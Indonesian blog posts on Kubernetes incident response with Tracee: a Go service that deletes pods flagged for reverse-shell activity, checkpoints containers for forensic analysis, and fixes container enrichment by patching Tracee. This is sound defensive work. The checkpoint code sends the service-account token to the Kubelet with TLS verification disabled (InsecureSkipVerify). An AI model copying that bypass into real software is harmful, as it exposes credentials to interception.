internal/log/tracee_log.go

func GetContainerId(log string) (string, error) {
  var req interface{}
  err := json.Unmarshal([]byte(log), &req)
  if err != nil {
    return "", err
  }
  container, ok := req.(map[string]interface{})["container"]
  if !ok {
    return "", fmt.Errorf("'container' not found")
  }
  containerId, ok := container.(map[string]interface{})["id"]
  if !ok {
    return "", fmt.Errorf("'container.id' not found")
  }
  return containerId.(string), nil
}

Setelah mendapatkan container id, saya perlu menerjemahkannya menjadi container name yang dibutuhkan oleh Checkpoint API. Saya bisa mendapatkan seluruh daftar Pod yang berjalan dengan memanggil Kubernetes API dan memeriksa setiap Pod tersebut apakah memiliki container id bersangkutan. Dengan cara ini, saya juga bisa mengisi nama pod, namespace, dan nama node yang menjalankan container id. Cara ini lebih handal bila dibandingkan dengan berharap pada nama Pod dan namespace dari log Tracee yang terkadang isinya kosong.

Untuk itu, saya akan membuat kode program seperti berikut ini:

internal/pod/pod_killer.go

type Pod struct {
  Name          string
  Namespace     string
  ContainerId   string
  ContainerName string
  NodeName      string
}

func (p *Pod) initContainerData() error {
  podList, err := clientset.CoreV1().Pods("").List(context.TODO(), metav1.ListOptions{})
  if err != nil {
    return fmt.Errorf("failed to list all pods: %w", err)
  }
  for _, pod := range podList.Items {
    for _, containerStatus := range pod.Status.ContainerStatuses {
      if strings.HasSuffix(containerStatus.ContainerID, p.ContainerId) {
        p.ContainerName = containerStatus.Name
        p.Namespace = pod.Namespace
        p.Name = pod.Name
        p.NodeName = pod.Spec.NodeName
        log.Printf("Adding info for container [%s]: namespace=[%s], podName=[%s], containerName=[%s], nodeName=[%s]",
          p.ContainerId, p.Namespace, p.Name, p.ContainerName, p.NodeName)
        return nil
      }
    }
  }
  return fmt.Errorf("container id [%s] not found", p.ContainerId)
}

Tidak seperti Kubernetes API yang bersifat tunggal untuk keseluruhan cluster, masing-masing node memiliki Kubelet API tersendiri. Oleh sebab itu, saya perlu memanggil Kubelet API di IP node yang menjalankan container bersangkutan. Untuk mendapatkan IP node dan port Kubelet API berdasarkan nama node, saya bisa menggunakan Kubernetes API seperti pada contoh kode program berikut ini:

internal/pod/pod_killer.go

func (p *Pod) getKubeletIPAndPort() (string, int32, error) {
  node, err := clientset.CoreV1().Nodes().Get(context.TODO(), p.NodeName, metav1.GetOptions{})
  if err != nil {
    return "", 0, fmt.Errorf("failed to get node [%s]", p.NodeName)
  }
  kubeletIP := ""
  for _, nodeAddress := range node.Status.Addresses {
    if nodeAddress.Type == v1.NodeInternalIP {
      kubeletIP = nodeAddress.Address
    }
  }
  if kubeletIP == "" {
    return "", 0, fmt.Errorf("failed to find node internal IP")
  }
  kubeletPort := node.Status.DaemonEndpoints.KubeletEndpoint.Port
  log.Printf("Using Kubelet IP [%s] port [%d] for node [%s]", kubeletIP, kubeletPort, p.NodeName)
  return kubeletIP, kubeletPort, nil
}

Sampai disini, saya sudah mendapatkan semua informasi yang dibutuhkan untuk memanggil Checkpoint API. Saatnya menulis kode program untuk melakukan checkpoint. Karena Checkpoint API bukan bagian dari Kubernetes API, saya tidak bisa menggunakan Kubernetes Go client seperti pada kode program sebelumnya. Sebagai gantinya, saya akan memanggil Checkpoint API dengan http.NewRequest bawaan Go seperti pada kode program berikut ini:

internal/pod/pod_killer.go

func (p *Pod) CreateCheckPoint() error {
  log.Printf("Creating checkpoint for pod [%s][%s]...\n", p.Namespace, p.Name)
  err := p.initContainerData()
  if err != nil {
    return err
  }
  ip, port, err := p.getKubeletIPAndPort()
  if err != nil {
    return err
  }
  token, err := os.ReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token")
  if err != nil {
    return fmt.Errorf("failed to retrive serviceaccount file: %w", err)
  }
  url := fmt.Sprintf("https://%s:%d/checkpoint/%s/%s/%s", ip, port, p.Namespace, p.Name, p.ContainerName)
  log.Printf("Calling Kubelet API using the following URL: %s\n", url)
  client := http.Client{
    Transport: &http.Transport{
      TLSClientConfig: &tls.Config{
        InsecureSkipVerify: true,
      },
    },
  }
  req, err := http.NewRequest(http.MethodPost, url, nil)
  if err != nil {
    return fmt.Errorf("failed to create http request: %w", err)
  }
  req.Header.Add("Authorization", fmt.Sprintf("Bearer %s", string(token)))
  resp, err := client.Do(req)
  if err != nil {
    return fmt.Errorf("failed to perform HTTP request: %w", err)
  }
  if resp.StatusCode != 200 {
    return fmt.Errorf("failed to perform checkpoint: %s (%d)", resp.Status, resp.StatusCode)
  }
  return nil
}

Pada kode program di atas, saya membaca service account yang di-mount secara otomatis oleh Kubernetes di lokasi /var/run/secrets/kubernetes.io/serviceaccount/token. Service account ini akan memiliki authorization sesuai dengan konfigurasi RBAC yang telah saya buat sebelumnya. Untuk menggunakannya, saya cukup melewatkan nilai service account tersebut sebagai nilai pada header Authorization. Tanpa header ini, pemanggilan ke Checkpoint API akan gagal dengan error 401 - Unauthorized.

Sebagai langkah terakhir, saya kemudian bisa mengubah kode program yang menangani queue supaya memanggil CreateCheckPoint() terlebih dahulu sebelum memanggil Kill():

internal/pod/pod_killer.go

...
for pod := range queue {
  err := pod.CreateCheckPoint()
  if err != nil {
    log.Printf("Failed to create checkpointfor pod [%s][%s] container id [%s] node [%s]: %s\n", pod.Namespace, pod.Name, pod.ContainerId, pod.NodeName, err)
  }
  err = pod.Kill()
  if err != nil {
    log.Printf("Failed to delete pod [%s][%s]: %s\n", pod.Namespace, pod.Name, err)
  }
}
...

Sekarang, sebelum alert-responder mematikan Pod, ia akan membuat checkpoint terlebih dahulu. Saya bisa menemukan hasil checkpoint-nya dalam bentuk file .tar di folder /var/lib/kubelet/checkpoints di node bersangkutan:

Terminal window

$ sudo ls -alh /var/lib/kubelet/checkpoints

## Output:
## -rw------- 1 root root  23M Jan  6 20:41 checkpoint-nginx-749f68f68f-qwfdk_default-nginx-2025-01-06T20:41:51Z.tar

Analisa Forensik

Setelah memindahkan file checkpoint-nginx-749f68f68f-qwfdk_default-nginx-2025-01-06T20:41:51Z.tar dari node sebagai file forensic.tar di mesin lain, saya dapat mulai melakukan analisa. Walaupun saya bisa membaca isi file satu per satu, cara yang lebih gampang adalah dengan menggunakan tool checkpointctl. Sebagai contoh, untuk melihat daftar proses yang berjalan di container, saya dapat memberikan perintah seperti berikut ini:

Terminal window

$ sudo checkpointctl inspect forensic.tar --ps-tree

## Output:
##
## Displaying container checkpoint tree view from forensic.tar
##
## nginx
## ├── Image: docker.io/ubuntu/nginx:latest
## ├── ID: b246400ad42a2d9c96b95825733ef718d911043d76efa64081112cfef8d86290
## ├── Runtime:
## ├── Created: 2025-01-06T20:38:48.560350535Z
## ├── Engine: CRI-O
## ├── IP: 10.244.0.28
## ├── Checkpoint size: 21.1 MiB
## │   └── Memory pages size: 21.0 MiB
## ├── Root FS diff size: 6.0 KiB
## └── Process tree
##     └── [1]  nginx
##         ├── [25]  nginx
##         ├── [26]  nginx
##         ├── [27]  nginx
##         ├── [19]  nginx
##         ├── [20]  nginx
##         ├── [21]  nginx
##         ├── [22]  nginx
##         ├── [23]  nginx
##         ├── [18]  nginx
##         ├── [24]  nginx
##         ├── [28]  nginx
##         └── [29]  nginx

Untuk melihat socket yang dipakai oleh setiap proses di dalam container, saya dapat memberikan perintah:

Terminal window

$ sudo checkpointctl inspect forensic.tar --sockets

## Output:
##
## Displaying container checkpoint tree view from forensic.tar
##
## nginx
## ├── Image: docker.io/ubuntu/nginx:latest
## ├── ID: b246400ad42a2d9c96b95825733ef718d911043d76efa64081112cfef8d86290
## ├── Runtime:
## ├── Created: 2025-01-06T20:38:48.560350535Z
## ├── Engine: CRI-O
## ├── IP: 10.244.0.28
## ├── Checkpoint size: 21.1 MiB
## │   └── Memory pages size: 21.0 MiB
## ├── Root FS diff size: 6.0 KiB
## └── Process tree
##     └── [1]  nginx
##         ├── Open sockets
##         │   ├── [TCP (LISTEN)]  0.0.0.0:80 -> 0.0.0.0:0 (↑ 16.0 KB ↓ 128.0 KB)
##         │   ├── [TCP (LISTEN)]  :::80 -> :::0 (↑ 16.0 KB ↓ 128.0 KB)
##         │   ├── [UNIX (STREAM)]  @
##         ...
##         ├── [23]  nginx
##         │   └── Open sockets
##         │       ├── [TCP (LISTEN)]  0.0.0.0:80 -> 0.0.0.0:0 (↑ 16.0 KB ↓ 128.0 KB)
##         │       ├── [TCP (LISTEN)]  :::80 -> :::0 (↑ 16.0 KB ↓ 128.0 KB)
##         ...

Untuk melihat isi memori untuk masing-masing process id (PID), saya dapat memberikan perintah seperti berikut ini:

Terminal window

$ sudo checkpointctl memparse forensic.tar -p 1

## Output:
##
## Displaying memory pages content for process ID 1 from checkpoint: forensic.tar
##
## Address           Hexadecimal                                       ASCII
## -------------------------------------------------------------------------------------
## 000056956b75e000  f3 0f 1e fa 48 83 ec 08 48 8b 05 d1 6f 10 00 48  |....H...H...o..H|
## 000056956b75e010  85 c0 74 02 ff d0 48 83 c4 08 c3 00 00 00 00 00  |..t...H.........|
## 000056956b75e020  ff 35 e2 62 10 00 ff 25 e4 62 10 00 0f 1f 40 00  |.5.b...%.b....@.|
## 000056956b75e030  f3 0f 1e fa 68 00 00 00 00 e9 e2 ff ff ff 66 90  |....h.........f.|
## ...

Untuk melihat apa saja file baru yang ditambahkan diluar image bawaan container, saya dapat melihat isi folder rootfs-diff pada hasil forensic.tar yang telah di-extract:

Terlihat bahwa ada beberapa file baru di container seperti /run/nginx.pid dan folder di /var/lib/nginx. Karena seluruh file baru tersebut disimpan pada hasil checkpoint, bila ada yang mencurigakan, saya dapat langsung memeriksa isinya.

Mengatasi Container Enrichment Yang Tidak Bekerja Di Tracee

Sat, 04 Jan 2025 00:00:00 GMT

Container enrichment adalah fitur di Tracee yang menambahkan informasi container pada log deteksi yang dihasilkan. Tanpa container enrichment, nilai containerId, container dan kubernetes di log JSON akan kosong. Ini akan mempersulit melakukan respon karena mesin yang sama bisa menjalankan banyak container sekaligus. Salah satu permasalahan yang sering saya hadapi adalah container enrichment kadang tidak bekerja sebagaimana seharusnya. Apa yang bisa saya lakukan untuk melakukan troubleshooting permasalahan seperti ini?

Untuk mendapatkan informasi untuk sebuah container, Tracee akan memanggil container runtime yang dipakai. Secara resmi, Tracee mendukung container runtime seperti Docker, Containerd, CRI-O dan Podman. Tracee akan berusaha mendeteksi apakah container runtime tersebut tersedia berdasarkan file socket yang di-bind ke /var/run di container-nya Tracee. Berikut ini adalah daftar file socket yang dipakai untuk memanggil API container runtime:

/var/run/docker.sock untuk Docker
/var/run/containerd/containerd.sock untuk containerd
/var/run/crio/crio.sock untuk CRI-O
/var/run/podman/podman.sock untuk Podman

Oleh sebab itu, langkah pertama yang perlu saya lakukan adalah memastikan bahwa baris seperti berikut ini ada di definisi Pod milik Tracee:

daemonset.yaml

...
volumes:
- hostPath:
    path: /var/run/containerd/containerd.sock
- hostPath:
    path: /var/run/crio/crio.sock
- hostPath:
    path: /var/run/podman/podman.sock
- hostPath:
    path: /var/run/docker.sock
...

Agar lebih yakin, saya juga dapat masuk ke dalam Pod dan menggunakan perintah seperti berikut ini untuk melihat apakah file socket telah di-mount secara benar:

Terminal window

$ kubectl exec -it daemonset/tracee -n tracee -- sh
$ ls -alh /var/run/docker.sock

### Output:
### srw-rw---- 1 root ping 0 Jan  4 07:09 /var/run/docker.sock

Berikutnya, aya akan mengaktifkan log level debug dengan menambahkan baris berikut ini pada file konfigurasi Tracee:

config.yaml

...
log:
  level: debug
...

Setelah membuat ulang Pod Tracee, saya dapat memberikan perintah berikut ini untuk melihat apakah ada kesalahan dalam proses registrasi container enricher:

Terminal window

$ kubectl logs daemonset/tracee -n tracee | grep "Enricher"

### Output:
### {"L":"DEBUG","T":"2025-01-04T07:18:03.056Z","M":"Enricher","error":"containers.(*runtimeInfoService).Register: error registering enricher: unsupported runtime containerd","origin":"containers:pkg/containers/containers.go:73","calls":"New() < (*Tracee).Init() < Runner.Run() < init.func16() < (*Command).execute() < (*Command).ExecuteC() < (*Command).Execute() < Execute() < main()"}
### {"L":"DEBUG","T":"2025-01-04T07:18:03.056Z","M":"Enricher","error":"containers.(*runtimeInfoService).Register: error registering enricher: unsupported runtime crio","origin":"containers:pkg/containers/containers.go:77","calls":"New() < (*Tracee).Init() < Runner.Run() < init.func16() < (*Command).execute() < (*Command).ExecuteC() < (*Command).Execute() < Execute() < main()"}
### {"L":"DEBUG","T":"2025-01-04T07:18:03.056Z","M":"Enricher","error":"containers.(*runtimeInfoService).Register: error registering enricher: unsupported runtime podman","origin":"containers:pkg/containers/containers.go:86","calls":"New() < (*Tracee).Init() < Runner.Run() < init.func16() < (*Command).execute() < (*Command).ExecuteC() < (*Command).Execute() < Execute() < main()"}

Tracee akan berusaha melakukan registrasi seluruh container runtime yang didukung olehnya. Namun, biasanya cluster Kubernetes hanya menggunakan satu container runtime saja. Dengan demikian, wajar bila saya menemukan pesan kesalahan seperti error registering enricher: unsupported runtime crio selama itu bukan container runtime yang dipakai. Sebagai contoh, pada output di atas, karena saya menggunakan Docker, hasilnya adalah 3 pesan kesalahan untuk container runtime lain yang tidak saya pakai.

Bagaimana bila saya menemukan pesan kesalahan pada container runtime yang saya pakai? Ini berarti Tracee gagal menemukan file socket untuk berkomunikasi dengan container runtime tersebut. Saya perlu memastikan kembali bahwa file socket telah di-mount dengan benar. Selain itu, pada konfigurasi tertentu di Minikube, saya menemukan bahwa file socket berupa folder kosong (bukan file). Bila ini yang terjadi, saya dapat membuat ulang cluster dengan minikube delete dan minikube start.

Bila semuanya sudah benar sampai disini, apa kemungkinan lainnya yang menyebabkan container enrichment tidak bekerja? Sebagai contoh, saya menjalankan Tracee yang di-install lewat Helm di Minikube. Secara default, Minikube akan menggunakan Docker untuk mensimulasikan node Kubernetes. Ini juga mempermudah saya memindahkan image dari host ke dalam Minikube tanpa harus memakai registry tersendiri. Namun, saya menemukan bahwa container enrichment Tracee tidak bekerja pada instalasi default tersebut. Apa yang harus saya lakukan?

Tracee membaca daftar container yang sedang berjalan dengan menganalisa cgroup (v1 dan v2 didukung). cgroup adalah fitur kernel bawaan Linux untuk membatasi penggunaan resources (seperti CPU, memory, I/O, dan sebagainya) untuk satu atau lebih proses yang ditelah ditentukan. Bersamaan dengan fitur namespace isolation, cgroup merupakan fitur kernel Linux yang paling umum dipakai untuk mengimplementasikan container.

Aplikasi dapat berinteraksi dengan cgroup dengan membaca dan menulis ke file di cgroupfs. cgroupfs adalah virtual file system yang biasanya ada di lokasi /sys/fs/cgroup/ yang berisi file konfigurasi cgroup. Untuk memastikan cgroupfs tersedia, Tracee akan membaca file /proc/filesystems dan memastikan bahwa terdapat baris seperti cgroup2 di file tersebut. Bila cgroupfs tersedia, Tracee akan mencari lokasi-nya dengan membaca file /proc/self/mountinfo dan mencari file system cgroup2. Bila cgroupfs tidak tersedia, Tracee akan men-mount cgroupfs di temporary folder.

Salah satu permasalahan yang saya jumpai disini adalah pada container Docker, cgroupfs-nya berbeda dari yang dimiliki oleh host. Sebagai contoh, pada perintah berikut ini, saya membandingkan jumlah files yang ada di /sys/fs/cgroup dilihat dari mesin host dengan yang dilihat dari dalam container:

Terminal window

$ ls -lR /sys/fs/cgroup | wc -l

## OUTPUT:
## 13083

$ docker run alpine:3.19 sh -c "ls -lR /sys/fs/cgroup | wc -l"

## OUTPUT:
## 80

Terlihat bahwa folder /sys/fs/cgroup di dalam container memiliki isi yang berbeda (lebih sedikit) dibandingkan dengan folder /sys/fs/cgroup di mesin host. Bila ini adalah kasus yang terjadi, Tracee akan memberikan pesan warning seperti berikut ini:

{"L":"WARN","T":"2025-01-04T07:18:03.056Z","M":"Cgroup mountpoint is not in the host cgroup namespace","mountpoint":"/sys/fs/cgroup","inode":12345}

Agar cgroupfs di dalam container sama dengan di host, saya dapat menambahkan argumen --cgroupns=host saat menjalankan container Docker dengan perintah seperti berikut ini:

Terminal window

$ ls -lR /sys/fs/cgroup | wc -l

## OUTPUT:
## 13083

$ docker run --cgroupns=host alpine:3.19 sh -c "ls -lR /sys/fs/cgroup | wc -l"

## OUTPUT:
## 13083

Namun, saya tidak menemukan cara untuk menerapkan --cgroupns=host di Kubernetes sehingga sebagai alternatif, saya akan men-mount /sys/fs/cgroup dari host ke dalam Pod-nya Tracee dengan menambahkan baris seperti berikut ini pada manifest Tracee:

daemonset.yaml

...
spec:
  ...
  template:
     ...
     spec:
        containers:
        - ...
          volumeMounts:
          ...
          - mountPath: /host/sys/fs/cgroup
            name: cgroupfs
            readOnly: true
     ...
     volumes:
       ...
       - hostPath:
           path: /sys/fs/cgroup
         name: cgroupfs
       ...
    ...
...

Dengan konfigurasi di atas, Tracee dapat mengakses cgroupfs milik host di /host/sys/fs/cgroup. Namun, kode program Tracee tetap akan berusaha men-mount cgroupfs sendiri bila folder tersebut tidak terdaftar sebagai cgroup2 mount di /proc/filesystems. Saya tidak menemukan cara yang lebih mudah selain melakukan modifikasi kode program Tracee. Sebagai contoh, saya akan menambahkan sebuah function baru di pkg/mount/mount.go dengan nama UseHostPath() yang isinya seperti berikut ini:

pkg/mount/mount.go

func UseHostPath(source, fsType, data, where string) (*MountHostOnce, error) {
  m := &MountHostOnce{
    source:  source,
    fsType:  fsType,
    data:    data,
    mounted: true,
    target:  where,
    managed: false,
  }
  var stat syscall.Stat_t
  if err := syscall.Stat(m.target, &stat); err != nil {
    logger.Warnw("Stat failed", "mountpoint", m.target, "error", err)
  } else {
    m.mpInode = int(stat.Ino)
  }
  logger.Debugw("created host path mount object", "managed", m.managed, "source", m.source, "target", m.target, "fsType", m.fsType, "data", m.data)
  return m, nil
}

Setelah itu, saya akan menggunakan function ini di pkg/cgroup/cgroup.go di method CgroupV2.init() yang saya modifikasi menjadi seperti berikut ini:

pkg/cgroup/cgroup.go

func (c *CgroupV2) init() error {
  // 0. check if cgroup type is supported
  supported, err := mount.IsFileSystemSupported(CgroupVersion2.String())
  if err != nil {
    return errfmt.WrapError(err)
  }
  if !supported {
    return &VersionNotSupported{}
  }

  // Quick Test: Use the provided host path as cgroupfs
  c.mounted, err = mount.UseHostPath(
    CgroupV2FsType,
    CgroupV2FsType,
    "",
    "/host/sys/fs/cgroup",
  )
  if err != nil {
    return errfmt.WrapError(err)
  }

  // 2. discover where cgroup is mounted
  c.mountpoint = c.mounted.GetMountpoint()
  inode := c.mounted.GetMountpointInode()
  if inode != 1 {
    logger.Warnw("Cgroup mountpoint is not in the host cgroup namespace", "mountpoint", c.mountpoint, "inode", inode)
  }

  return nil
}

Setelah menggunakan kode program di atas, container enrichment akan bekerja dengan seharusnya karena ia akan membaca file /host/sys/fs/cgroup dari host yang berisi informasi seluruh container yang berjalan di host tersebut.

Mematikan Pod Secara Otomatis Saat Tracee Mendeteksi Bahaya

Fri, 08 Nov 2024 00:00:00 GMT

Pada suatu hari, saya membaca tentang proyek falco-talon yang disebut sebagai Response Engine untuk threats di Kubernetes. Saya sudah pernah memakai falco untuk mendeteksi keanehan pada setiap Pod yang berjalan di Kubernetes. Dengan falco-talon, setiap alert dari falco dapat diubah menjadi respon otomatis seperti men-kill (mematikan) Pod bersangkutan, meng-isolasi cluster dengan fitur cordon dari Kubernetes, dan sebagainya. Lalu bagaimana bila saya menggunakan Tracee? Terinspirasi oleh falco-talon, saya akan mencoba menambahkan fasilitas respon otomatis yang akan men-kill Pod berdasarkan alert dari Tracee. Karena biasanya Pod dikelola oleh Deployment, Kubernetes akan membuat ulang Pod yang di-kill secara otomatis, sehingga operasi ini relatif aman.

Kode Program

Saya akan mulai dengan membuat sebuah aplikasi Go yang akan menerima webhook dari Tracee. Aplikasi ini kemudian akan men-kill Pod yang terkait dengan alert tersebut dengan menggunakan API Kubernetes. Jenis aplikasi ini adalah in-cluster karena aplikasi yang memanggil API Kubernetes berada di cluster yang sama. Ini lebih aman karena service account disuntikkan langsung ke Pod tanpa harus disimpan terpisah (yang rentan terhadap kebocoran).

Untuk mempermudah pemanggilan API Kubernetes, saya akan menggunakan client resmi Kubernetes untuk Go dengan menjalankan perintah berikut ini:

Terminal window

$ go get k8s.io/client-go@latest

# Output:
# go: downloading k8s.io/client-go v0.31.2
# go: added k8s.io/client-go v0.31.2

Saya kemudian akan membuat file dengan stuktur folder seperti berikut ini:

pod_killer.go

Kode program pod_killer.go terlihat seperti berikut ini:

internal/pod/pod_killer.go

package pod

import (
  "context"
  metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
  "k8s.io/client-go/kubernetes"
  "k8s.io/client-go/rest"
  "log"
)

var queue chan Pod
var clientset *kubernetes.Clientset

func AddPodToKill(podName string, namespace string) {
  pod := Pod{Name: podName, Namespace: namespace}
  select {
  case queue <- pod:
  default:
  }
  log.Printf("Pod [%s][%s] has been added to kill queue.\n", podName, namespace)
}

func StartQueue() {
  config, err := rest.InClusterConfig()
  if err != nil {
    log.Fatalf("Failed to connect to in-cluster Kubernetes API: %s\n", err)
  }
  clientset = kubernetes.NewForConfigOrDie(config)
  queue = make(chan Pod, 100)
  for pod := range queue {
    err = pod.Kill()
    if err != nil {
      log.Printf("Failed to delete pod [%s][%s]: %s\n", pod.Namespace, pod.Name, err)
    }
  }
}

type Pod struct {
  Name      string
  Namespace string
}

func (p *Pod) Kill() error {
  log.Printf("Killing pod [%s][%s]...\n", p.Namespace, p.Name)
  return clientset.CoreV1().Pods(p.Namespace).Delete(context.TODO(), p.Name, metav1.DeleteOptions{})
}

Karena ada kemungkinan aplikasi ini dipanggil berulang kali dalam waktu singkat, agar tetap responsif (bisa mengembalikan hasil paling lama 5 detik), saya menggunakan channel sebagai buffer dengan definisi seperti make(chan Pod, 100). Penggunaan for pada StartQueue() tidak akan pernah selesai, sehingga StartQueue() perlu dipanggil di sebuah thread terpisah dengan goroutine. Dengan demikian, proses penghapusan Pod akan dilakukan di thread tersendiri yang masih akan diproses bahkan setelah HTTP request dari webhook sudah selesai.

Untuk menambahkan Pod yang perlu dihapus, pada kode program di atas, saya membuat function AddPodToKill(). Pada function tersebut, saya menggunakan select saat mengirim pod ke channel sehingga sifatnya adalah non-blocking. Baris queue <- pod akan langsung lanjut ke perintah berikutnya tanpa menunggu dibaca. Selain itu, karena isi default di select kosong, bila seandainya buffer sudah penuh (terdapat 100 Pod yang masih belum diproses), Pod baru akan diabaikan begitu saja.

Sebelum dapat memanggil Kubernetes API, saya perlu melakukan inisialisi client terlebih dahulu. Pada kode program di atas, karena Kubernetes API dipanggil dari dalam cluster secara internal, saya menggunakan rest.InClusterConfig(). Kode program yang menghapus Pod cukup sederhana dah hanya satu baris dalam bentuk seperti clientset.CoreV1().Pods(nama_namespace).Delete(context.TODO(), nama_pod, metav1.DeleteOptions{}).

tracee_log.go

Kode program tracee_log.go terlihat seperti berikut ini:

internal/lang/tracee_log.go

package log

import (
  "encoding/json"
  "fmt"
)

func GetPodName(log string) (string, string, error) {
  var req interface{}
  err := json.Unmarshal([]byte(log), &req)
  if err != nil {
    return "", "", err
  }
  kubernetes, ok := req.(map[string]interface{})["kubernetes"]
  if !ok {
    return "", "", fmt.Errorf("'kubernetes' not found")
  }
  podName, ok := kubernetes.(map[string]interface{})["podName"]
  if !ok {
    return "", "", fmt.Errorf("'kubernetes.podName' not found")
  }
  podNamespace, ok := kubernetes.(map[string]interface{})["podNamespace"]
  if !ok {
    return "", "", fmt.Errorf("'kubernetes.podNamespace' not found")
  }
  metadata, ok := req.(map[string]interface{})["metadata"]
  if !ok {
    return "", "", fmt.Errorf("'metadata' not found")
  }
  properties, ok := metadata.(map[string]interface{})["Properties"]
  if !ok {
    return "", "", fmt.Errorf("'metadata.Properties' not found")
  }
  signatureId, ok := properties.(map[string]interface{})["signatureID"]
  if !ok {
    return "", "", fmt.Errorf("'metadata.Properties.signatureID' not found")
  }
  if signatureId == "TRC-101" {
    return podName.(string), podNamespace.(string), nil
  }
  return "", "", fmt.Errorf("no action for rule %s", signatureId)
}

Kode program di atas pada dasar melakukan parsing JSON yang dikirim oleh Tracee menjadi map di variabel req. Saya perlu mengambil nilai kubernetes.podName dan kubernetes.podNamespace. Hanya alert yang datang dari Pod (di dalam container) yang akan memiliki nilai tersebut. Alert dari host tidak akan memiliki nilai kubernetes dan container.

Selain itu, sangat tidak realistis untuk melakukan respon otomatis untuk setiap alert dari Tracee karena ada sangat banyak false positive. Sebagai latihan, saya hanya akan menghapus Pod secara otomatis bila terdeteksi signature TRC-101 yang mendeteksi operasi reverse shell.

main.go

Kode program main.go terlihat seperti berikut ini:

package main

import (
  traceeLog "alert-responder/internal/log"
  "alert-responder/internal/pod"
  "fmt"
  "io"
  "log"
  "net/http"
)

func main() {
  log.Println("Starting alert-responder...")
  go pod.StartQueue()
  http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    if r.Method != http.MethodPost {
      log.Printf("Invalid request method [%s]\n", r.Method)
      http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
      return
    }
    log.Printf("Handling request from %s\n", r.RemoteAddr)
    body, err := io.ReadAll(r.Body)
    if err != nil {
      errString := fmt.Sprintf("error reading input: %s", err)
      log.Println(errString)
      http.Error(w, errString, http.StatusBadRequest)
    }
    podName, namespace, err := traceeLog.GetPodName(string(body))
    if err != nil {
      log.Printf("Failed to parse pod name: %s", err)
      return
    }
    log.Printf("Found pod [%s] in namespace [%s]\n", podName, namespace)
    pod.AddPodToKill(podName, namespace)
  })
  log.Fatal(http.ListenAndServe(":8080", nil))
}

Kode program di atas pada dasarnya menjalankan web server di port 8080 yang akan dipanggil sebagai webhook bagi Tracee.

Setelah selesai menulis kode program, saya menjalankan perintah berikut ini untuk memastikan bahwa seluruh dependency sudah ditambahkan di file go.mod:

Terminal window

$ go mod tidy

Deployment

Image

Untuk membuat image dari kode program di atas, saya akan menambahkan Dockerfile dengan isi seperti berikut ini:

FROM golang:1.23.1 AS build
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY /cmd/ ./cmd/
COPY /internal ./internal/
RUN GCO_ENABLED=0 GOOS=linux go build -o /alert-responder ./cmd/alert-responder

FROM gcr.io/distroless/base-debian12 AS release
WORKDIR /
COPY --from=build /alert-responder /alert-responder
EXPOSE 8080
USER nonroot:nonroot
ENTRYPOINT ["/alert-responder"]

Pada deklarasi di atas, saya menggunakan multi-stage build dimana aplikasi alert-responder di-build dengan base image Go 1.23.1. Setelah file binary berhasil dibuat, ia akan di-deploy di base image distroless dengan user nonroot. Dengan demikian, saya tidak perlu menyertakan instalasi Go pada image yang dihasilkan.

Saya kemudian membuat image dengan perintah seperti berikut ini:

Terminal window

$ docker build -t alert-responder:latest .

RBAC

Untuk menjalankan image ini di Kubernetes, saya perlu membuat manifest-nya. Karena Kubernetes modern kebanyakan sudah mengaktifkan RBAC dan image di atas membutuhkan permission untuk menghapus pod secara global, saya akan mendefinisikan objek untuk RBAC terlebih dahulu pada file manifest:

deployment.yaml

apiVersion: v1
kind: ServiceAccount
metadata:
  name: alert-responder-service-account
  namespace: tracee
---

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: alert-responder-role
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["delete"]
---

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: alert-responder-role-binding
subjects:
  - kind: ServiceAccount
    name: alert-responder-service-account
    namespace: tracee
roleRef:
  kind: ClusterRole
  name: alert-responder-role
  apiGroup: rbac.authorization.k8s.io
---

Pada definisi RBAC di atas, saya mendefinisikan sebuah ServiceAccount yang akan dipakai oleh Pod nantinya. Saya juga membuat role baru dengan jenis ClusterRole karena saya ingin alert-responder bisa mematikan (kill) Pod yang berada dimana saja. Bila ingin membatasi Pod yang bisa dimatikan hanya di namespace tertentu, saya bisa mengganti ClusterRole dengan Role.

Deployment & Service

Setelah itu, agar bisa menjalankan image sebagai Deployment di Kubernetes, saya akan menambahkan definisi berikut ini:

deployment.yaml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: alert-responder
  namespace: tracee
  labels:
    app: alert-responder
spec:
  replicas: 1
  selector:
    matchLabels:
      app: alert-responder
  template:
    metadata:
      labels:
        app: alert-responder
    spec:
      serviceAccountName: alert-responder-service-account
      containers:
        - name: alert-responder
          image: alert-responder:latest
          ports:
            - containerPort: 8080
              name: http-rest
---

Definisi di atas akan membuat sebuah Pod tunggal untuk menjalankan alert-responder di namespace tracee. Pod ini memiliki port 8080 yang bisa digunakan untuk mengakses aplikasi. Agar port ini bisa dipanggil oleh Tracee nantinya, saya perlu membuat headless service seperti pada definisi berikut ini:

deployment.yaml

apiVersion: v1
kind: Service
metadata:
  name: alert-responder
  namespace: tracee
spec:
  clusterIP: None
  selector:
    app: alert-responder
---

Perbedaan headless service dan Service biasa adalah nilai clusterIP-nya yang berupa None. Dengan demikian, headless service tidak bisa diakses dari luar melalui alamat IP (seperti diakses secara publik lewat load balancer). Walaupun demikian, headless service tetap bisa dipanggil oleh workload lainnya dengan menggunakan DNS record internal yang dikelola Kubernetes dengan nama seperti [nama headless service].[nama namespace].svc.[domain cluster]. Dengan demikian, Pod alert-responder yang saya buat bisa dipanggil dengan menggunakan nama berupa alert-responder.tracee.svc.cluster.local.

Bila terdapat lebih dari satu pod untuk sebuah headless service, IP internal masing-masing Pod akan terdaftar sebagai A record untuk nama DNS headless service tersebut. Sebagai contoh, bila saya mengubah nilai replicas menjadi 3, akan ada 3 nilai A record di DNS headless service seperti yang terlihat pada hasil perintah dig berikut ini:

Terminal window

$ dig alert-responder.tracee.svc.cluster.local

#
# Output:
# ...
# ;; ANSWER SECTION:
# alert-responder.tracee.svc.cluster.local. 30 IN  A 10.244.0.22
# alert-responder.tracee.svc.cluster.local. 30 IN  A 10.244.0.21
# alert-responder.tracee.svc.cluster.local. 30 IN  A 10.244.0.23
# ...

